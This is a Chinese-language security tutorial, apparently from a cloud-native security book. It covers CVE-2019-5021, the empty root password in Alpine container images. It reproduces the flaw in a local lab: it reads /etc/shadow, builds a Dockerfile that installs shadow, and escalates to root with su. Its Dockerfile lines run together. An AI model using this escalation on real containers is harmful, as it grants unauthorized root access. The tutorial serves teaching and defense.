CVE-2019-5021 镜像漏洞利用
随着容器技术的普及,容器镜像也成为软件供应链中非常重要的一个组成的部分。人们像使用 pip 等工具从仓库获取各种编程软件库一样,可以从 Docker Hub 或 第三方仓库拉取镜像,在其基础上进行开发,从而实现所需功能,最后打包发布
然而,业务依赖的基础镜像可能存在问题——无论是开发者无心导致的安全漏洞还是攻击者故意埋下的恶意代码,这种“内生风险”的潜在危害比黑客从外部发起攻击严重的多,且更不易被发现。
下面我们来介绍一种容器软件供应链攻击:镜像漏洞利用
镜像漏洞利用
镜像漏洞利用指的是镜像本身存在漏洞时,使用镜像创建并运行的容器也通常会存在相同漏洞,攻击者可以利用镜像中存在的漏洞去攻击容器,往往具有事办功倍的效果
列如,Alpine 是一个轻量化的 Linux 发行版,基于 musl libc 和 busybox 构建而成。由于其体积小,因此以Alpine为基础构建的软件是非常流行的。但 Alpine 镜像曾爆出过一个漏洞: CVE-2019-5021。在 3.3~3.9 版本的Alpine 镜像中,root 用户的密码被设置为空,攻击者可能在攻入容器后借此提升到容器内部的 root 权限
这个漏洞看起来很简单,但是 CVSS3.0评分高达9.8分。我们拉取一个3.3版本的镜像,然后构建容器并检查一下密码信息文件 “/etc/shadow” ,如图所示,可以 shadow 文件记录的 root 密码确实为空
#拉取alpine:3.3的镜像
docker pull alpine:3.3
#查看shadow 文件记录的 root 密码
docker run -it --rm alpine:3.3 cat /etc/shadow | grep root
Alpine 镜像使用 busybox 作为核心工具链,通过 /etc/securetty 文件限制了可以登陆 root 用户的 tty 设备。除非是用户主动安装 shadow 和 linux-pam 来代替默认工具链,否则这个漏洞将很难利用。接下来,我们来模拟一下这个场景。基于3.5版本的Apline 创建一个镜像,添加一个普通用户 non_root,并安装 shadow(https://github.com/brant-ruan/cloud-native-security-book/0303-供应链攻击/01-CVE-2019-5021-alpine)
漏洞复现
我们编写如下的Dockerfile:
FROM alpine:3.5RUN apk add --no-cache shadow
RUN adduser -S non_rootUSER non_root
创建好后,在 Dockerfile文件 的同一目录下执行如下的命令构建镜像:
docker build -t alpine:cve-2019-5021 .
然后运行一个容器,尝试执行su 切换为 root 用户,切换成功如图所示:
#运行一个容器
docker run -it --rm alpine:cve-2019-5021 /bin/sh
#查看当前用户
whoami
#且换为root用户
su -
整个过程非常简单,在现实中,如果用户使用了旧版本的 Alpine,同时安装了 shadow,一旦攻击者利用 Web服务获得了一个容器内的低权限的shell,就可以凭借此漏洞直接提升为容器内的root权限。